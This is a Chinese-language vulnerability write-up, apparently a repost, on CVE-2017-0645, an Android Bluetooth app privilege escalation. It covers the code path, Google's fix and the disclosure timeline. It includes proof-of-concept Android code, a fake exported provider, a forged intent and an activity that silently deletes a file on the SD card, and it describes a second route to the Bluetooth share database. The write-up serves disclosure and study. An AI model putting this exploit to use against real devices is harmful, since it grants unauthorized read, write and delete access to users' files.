当前位置: 首页 > news >正文

蓝牙App漏洞系列分析之三CVE-2017-0645

蓝牙App漏洞系列分析之三CVE-2017-0645

0x01 漏洞简介

Android 6月的安全公告,同时还修复了我们发现的一个蓝牙 App 提权中危漏洞,该漏洞允许手机本地无权限的恶意程序构造一个仿冒的 Provider ,并获取 Provider 所指向文件的读写权限,可用于写 SD 卡或者蓝牙共享数据库,漏洞详情如下:

  • CVE: CVE-2017-0645
  • BugID: A-35310991
  • 严重性: 中危
  • 漏洞类型: 提权
  • Updated AOSP versions: 6.0.1, 7.0, 7.1.1, 7.1.2

0x02 漏洞分析

该漏洞其实是一个常规的 Android 组件暴露漏洞,跟我们上一个分析的蓝牙漏洞一样,我们知道在蓝牙 App 中 BluetoothOppLauncherActivity 是可以被第三方应用启动的。这一次,我们来看 onCreate 函数中传入 Intent action 为 android.btopp.intent.action.OPEN 的处理流程。

  } else if (action.equals(Constants.ACTION_OPEN)) {
            Uri uri = getIntent().getData();
            if (V) Log.v(TAG, "Get ACTION_OPEN intent: Uri = " + uri);

            Intent intent1 = new Intent();
            intent1.setAction(action);
            intent1.setClassName(Constants.THIS_PACKAGE_NAME, BluetoothOppReceiver.class.getName());
            intent1.setDataAndNormalize(uri);
            this.sendBroadcast(intent1);
            finish();

转到 BluetoothOppReceiver 进行处理。接着查看 BluetoothOppReceiver 的 onReceive 函数,由于Intent 可控,这里蓝牙 App 将会取出 intent 中的 Data 进行数据库查询,然后取出 transInfo ,最后进入 BluetoothOppUtility.openReceivedFile 函数。

        } else if (action.equals(Constants.ACTION_OPEN) || action.equals(Constants.ACTION_LIST)) {
            if (V) {
                if (action.equals(Constants.ACTION_OPEN)) {
                    Log.v(TAG, "Receiver open for " + intent.getData());
                } else {
                    Log.v(TAG, "Receiver list for " + intent.getData());
                }
            }

            BluetoothOppTransferInfo transInfo = new BluetoothOppTransferInfo();
            Uri uri = intent.getData();  //Intent可控!
            transInfo = BluetoothOppUtility.queryRecord(context, uri);
            if (transInfo == null) {
                Log.e(TAG, "Error: Can not get data from db");
                return;
            }

            if (transInfo.mDirection == BluetoothShare.DIRECTION_INBOUND
                    && BluetoothShare.isStatusSuccess(transInfo.mStatus)) {
                // if received file successfully, open this file
                // transInfo可控!
                BluetoothOppUtility.openReceivedFile(context, transInfo.mFileName,
                        transInfo.mFileType, transInfo.mTimeStamp, uri);
                BluetoothOppUtility.updateVisibilityToHidden(context, uri);
            } else {
                Intent in = new Intent(context, BluetoothOppTransferActivity.class);
                in.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                in.setDataAndNormalize(uri);
                context.startActivity(in);
            }

在 openReceivedFile 函数中,我们看到蓝牙 App 最终将在授予读写权限后,启动能够处理 transInfo.mFileType 文件类型的某外部 App 的 Activity ,对 transInfo.mFileName 进行处理。

    public static void openReceivedFile(Context context, String fileName, String mimetype,
            Long timeStamp, Uri uri) {
        if (fileName == null || mimetype == null) {
            Log.e(TAG, "ERROR: Para fileName ==null, or mimetype == null");
            return;
        }

        File f = new File(fileName); //fileName可控
        if (!f.exists()) {
        ...
        // skip
       }

       // path受限于com.google.android.bluetooth.fileprovider使用的位置

        Uri path = FileProvider.getUriForFile(context,
                       "com.google.android.bluetooth.fileprovider", f);

        // If there is no scheme, then it must be a file
        if (path.getScheme() == null) {
            path = Uri.fromFile(new File(fileName));
        }

        if (isRecognizedFileType(context, path, mimetype)) {
            Intent activityIntent = new Intent(Intent.ACTION_VIEW);
            activityIntent.setDataAndTypeAndNormalize(path, mimetype);

            List<ResolveInfo> resInfoList = context.getPackageManager()
                .queryIntentActivities(activityIntent,
                        PackageManager.MATCH_DEFAULT_ONLY);

            // 注意这段,授予任何app对该文件的读写权限
            // Grant permissions for any app that can handle a file to access it
            for (ResolveInfo resolveInfo : resInfoList) {
                String packageName = resolveInfo.activityInfo.packageName;
                context.grantUriPermission(packageName, path,
                        Intent.FLAG_GRANT_WRITE_URI_PERMISSION |
                        Intent.FLAG_GRANT_READ_URI_PERMISSION);
            }

            activityIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            // 授予activity对该文件的读写权限
            activityIntent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
            activityIntent.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);

            try {
                if (V) Log.d(TAG, "ACTION_VIEW intent sent out: " + path + " / " + mimetype);
                context.startActivity(activityIntent); 

由于 Intent 可控, Intent Data 可控, transInfo 可控,再加上启动的外部 App 被授予了读写权限,因此这里存在漏洞,我们可以伪造一个文件让蓝牙 App 启动某外部 App 打开,同时该外部 App 获得对伪造文件指向位置的读写权限。可惜此处伪造的文件位置受限于 com.android.bluetooth.filepovider ,其 file_paths.xml 使用的 external-path ,这意味着我们只能伪造一个外部存储 /sdcard 目录的文件。

0x03 漏洞利用

漏洞利用可如下图所示,这种攻击发送 intent 的过程像极了飞去来器。恶意 App 发送 intent 过后,又回到了自己手中,但却获得了提权。

1.恶意 App 声明能对某种 filetype 进行处理

        <activity android:name=".FakeViewActivity">
            <intent-filter>
                <action android:name="android.intent.action.VIEW" />
                <category android:name="android.intent.category.DEFAULT" />
                <data android:mimeType="xxx/yyy" />
            </intent-filter>
        </activity>

2.构造一个虚假的 bluetooth share provider——FakeBluetoothOppProvider ,传入 intent data 之中。主要内容可以参考 BluetoothOppProvider ,其 Uri 为

content://fake.bluetooth.provider/btopp/

并expose出来

<provider
            android:authorities="fake.bluetooth.provider"
            android:name=".FakeBluetoothOppProvider"
            android:exported="true" />

然后填入内容,指向 /sdcard 中某个已知文件,并传入 Intent data , 启动 BluetoothOppLauncherActivity

        m_btnTest.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent();
                intent.setComponent(new ComponentName("com.android.bluetooth",
                        "com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
                intent.setAction(Constants.ACTION_OPEN);
                intent.setData(Uri.parse("content://fake.bluetooth.provider/btopp/1"));
                startActivity(intent);

            }
        });

        m_btnAddFakeEntry = (Button)findViewById(R.id.add);
        m_btnAddFakeEntry.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                ContentValues values = new ContentValues();
                values.put(BluetoothShare._ID, 1);
                values.put(BluetoothShare.DIRECTION, BluetoothShare.DIRECTION_INBOUND);
               values.put(BluetoothShare.TOTAL_BYTES, 110000);
                values.put(BluetoothShare.CURRENT_BYTES,110000);
                values.put(BluetoothShare.TIMESTAMP, 111111);
                values.put(BluetoothShare.DESTINATION, "00:10:60:AA:36:F8");
                values.put(BluetoothShare._DATA, "/storage/emulated/0/CVE-2016-6762.apk");
               values.put(BluetoothShare.MIMETYPE, "xxx/yyy");

                values.put(BluetoothShare.USER_CONFIRMATION, 1);

                // when content provider is null, use insert or use update

                m_contentResolver.insert(BluetoothShare.CONTENT_URI, values);
               // m_contentResolver.update(BluetoothShare.CONTENT_URI, values, "_id = 12", null);

            }
        });

3.蓝牙 App 取出我们构造的 filename, filetype;
4.蓝牙 App 授予读写权限,然后再启动恶意 App 进行处理;
5.恶意 App 直接删除 /sdcard 中的这个文件。

public class FakeViewActivity extends Activity {
    final static String TAG = "Bluz";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Intent intent = getIntent();
        String dir = intent.getDataString();
        Log.d(TAG, "dir is "+dir);
        Uri uri = intent.getData();
        ContentResolver cr = getContentResolver();
       Log.d(TAG, "Deleting "+ intent.getDataString() +" silently!");
        getContentResolver().delete(uri, null, null);
    }
}

在上述整个过程中,恶意 App 并未申请 SD 卡写权限,因此这是一个提权漏洞。

另外还有一种利用方式,是在 Intent 中直接传入蓝牙 BluetoothOppProvider 的 uri ,比如 content://com.android.bluetooth.opp/btopp/1" ,从而获得对蓝牙共享数据库的读写权限。

完成代码请见这里

0x04 漏洞修复

Google 对该漏洞的修复主要有两点:

1.确保 Intent data 始终为 BluetoothOppProvider 的 Uri ,防止仿冒; 2.撤销了授予第三方应用的读写权限,只授予第三方应用某个 Activity 的读权限。

0x05 时间线

  • 2017.02.15: 漏洞提交
  • 2017.03.01: 漏洞确认,初始评级为高
  • 2017.03.23: 漏洞降级为中
  • 2017.06.01: 补丁发布
  • 2017.06.23: 漏洞公开

转载于:https://www.cnblogs.com/HacTF/p/8052237.html

相关文章:

  • SSI框架整合
  • linux 常用命令
  • C语言描述
  • 应用缓存的常见问题及解决
  • 一个简单的例子演示:通过浏览器的滚动条来动态加载数据
  • Code Kata:螺旋矩阵 javascript实现
  • C++容器与算法
  • PostgreSQL在何处处理 sql查询之四十三
  • Tomcat建立多个应用(Web Server),多个主机,多个站点的方法
  • org.tmatesoft.svn.core.SVNCancelException: svn: E200015: authentication canc
  • Linux下查看Tomcat的控制台输出信息
  • 每天一句话
  • Android基础 使用ToolBar教你打造一个通用的标题栏
  • 单点登录配置问题
  • Mac 10.11 React Native 安装记录
  • JavaScript-如何实现克隆(clone)函数
  • AzureCon上微软宣布了哪些容器相关的重磅消息
  • Flannel解读
  • httpie使用详解
  • Js基础知识(一) - 变量
  • js面向对象
  • js算法-归并排序(merge_sort)
  • Python利用正则抓取网页内容保存到本地
  • Redis在Web项目中的应用与实践
  • Stream流与Lambda表达式(三) 静态工厂类Collectors
  • vue 个人积累(使用工具,组件)
  • Vue.js源码(2):初探List Rendering
  • 订阅Forge Viewer所有的事件
  • - 概述 - 《设计模式(极简c++版)》
  • 记录一下第一次使用npm
  • 排序(1):冒泡排序
  • 浅谈web中前端模板引擎的使用
  • 区块链将重新定义世界
  • 如何在 Tornado 中实现 Middleware
  • 专访Pony.ai 楼天城:自动驾驶已经走过了“从0到1”,“规模”是行业的分水岭| 自动驾驶这十年 ...
  • ​html.parser --- 简单的 HTML 和 XHTML 解析器​
  • #include
  • #调用传感器数据_Flink使用函数之监控传感器温度上升提醒
  • #每日一题合集#牛客JZ23-JZ33
  • (C语言版)链表(三)——实现双向链表创建、删除、插入、释放内存等简单操作...
  • (k8s中)docker netty OOM问题记录
  • (python)数据结构---字典
  • (差分)胡桃爱原石
  • (二)pulsar安装在独立的docker中,python测试
  • (附源码)node.js知识分享网站 毕业设计 202038
  • (附源码)流浪动物保护平台的设计与实现 毕业设计 161154
  • (机器学习的矩阵)(向量、矩阵与多元线性回归)
  • (转)GCC在C语言中内嵌汇编 asm __volatile__
  • .NET 4.0中的泛型协变和反变
  • .NET 6 Mysql Canal (CDC 增量同步,捕获变更数据) 案例版
  • .NET BackgroundWorker
  • .NET Framework 和 .NET Core 在默认情况下垃圾回收(GC)机制的不同(局部变量部分)
  • .NET Framework与.NET Framework SDK有什么不同?
  • .net 开发怎么实现前后端分离_前后端分离:分离式开发和一体式发布
  • .NET 设计一套高性能的弱事件机制